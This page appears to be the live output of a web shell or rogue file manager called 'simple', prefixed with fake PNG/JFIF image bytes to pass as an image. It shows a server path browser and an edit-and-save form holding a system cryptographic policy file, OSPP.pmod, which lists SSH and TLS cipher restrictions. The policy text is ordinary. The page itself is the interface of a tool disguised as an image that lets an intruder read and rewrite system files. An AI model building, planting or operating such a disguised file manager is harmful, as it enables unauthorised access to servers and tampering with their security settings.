�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fshare%2F'>share</a>/<a href='?path=%2Fusr%2Fshare%2Fcrypto-policies%2F'>crypto-policies</a>/<a href='?path=%2Fusr%2Fshare%2Fcrypto-policies%2Fpolicies%2F'>policies</a>/<a href='?path=%2Fusr%2Fshare%2Fcrypto-policies%2Fpolicies%2Fmodules%2F'>modules</a>/</p><hr><h3>✏️ Editing: OSPP.pmod</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># Restrict FIPS policy for the Common Criteria OSPP profile.

# SSH (upper limit)
# Ciphers: aes256-ctr, aes256-cbc, aes256-gcm@openssh.com
# PubkeyAcceptedKeyTypes: rsa-sha2-256, rsa‑sha2‑512
# MACs: hmac-sha2-256, hmac-sha2-512, implicit for aes256-gcm@openssh.com
# KexAlgorithms: ecdh-sha2-nistp384, ecdh-sha2-nistp521, diffie-hellman-group16-sha512, diffie-hellman-group18-sha512

# TLS ciphers (suggested minimal set for openssl)
# * TLS_RSA_WITH_AES_128_CBC_SHA     - excluded by FIPS, uses RSA key exchange
# * TLS_RSA_WITH_AES_256_CBC_SHA     - excluded by FIPS, uses RSA key exchange
# * TLS_RSA_WITH_AES_128_CBC_SHA256  - excluded by FIPS, uses RSA key exchange
# * TLS_RSA_WITH_AES_256_CBC_SHA256  - excluded by FIPS, uses RSA key exchange
# * TLS_RSA_WITH_AES_128_GCM_SHA256  - excluded by FIPS, uses RSA key exchange
# * TLS_RSA_WITH_AES_256_GCM_SHA384  - excluded by FIPS, uses RSA key exchange
# * TLS_DHE_RSA_WITH_AES_128_CBC_SHA256  - excluded by FIPS (CBC)
# * TLS_DHE_RSA_WITH_AES_256_CBC_SHA256  - excluded by FIPS (CBC)
# * TLS_DHE_RSA_WITH_AES_128_GCM_SHA256  - disabled, AES 128
# * TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
# * TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256  - disabled, AES 128
# * TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256  - disabled, AES 128
# * TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384  - disabled in openssl itself
# * TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
# * TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256  - disabled, AES 128 + CBC
# * TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256  - disabled, AES 128
# * TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384  - disabled in openssl itself
# * TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
# Supported Groups Extension in ClientHello: secp256r1, secp384r1, secp521r1

mac = -HMAC-SHA1  # see above, both SSH and TLS ended up not using it

group = -SECP256R1 -FFDHE-2048

hash = -SHA2-224 -SHA3-*

sign = -*-SHA2-224 -ECDSA-SHA2-256

cipher = -AES-*-CCM -AES-128-*
cipher@!{ssh,tls} = -AES-*-CTR

ssh_certs = 0
etm@ssh = DISABLE_ETM

protocol@TLS = -TLS1.3

min_dh_size = 3072
min_rsa_size = 3072

arbitrary_dh_groups = 0
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fshare%2Fcrypto-policies%2Fpolicies%2Fmodules'>🔙 Back</a></p>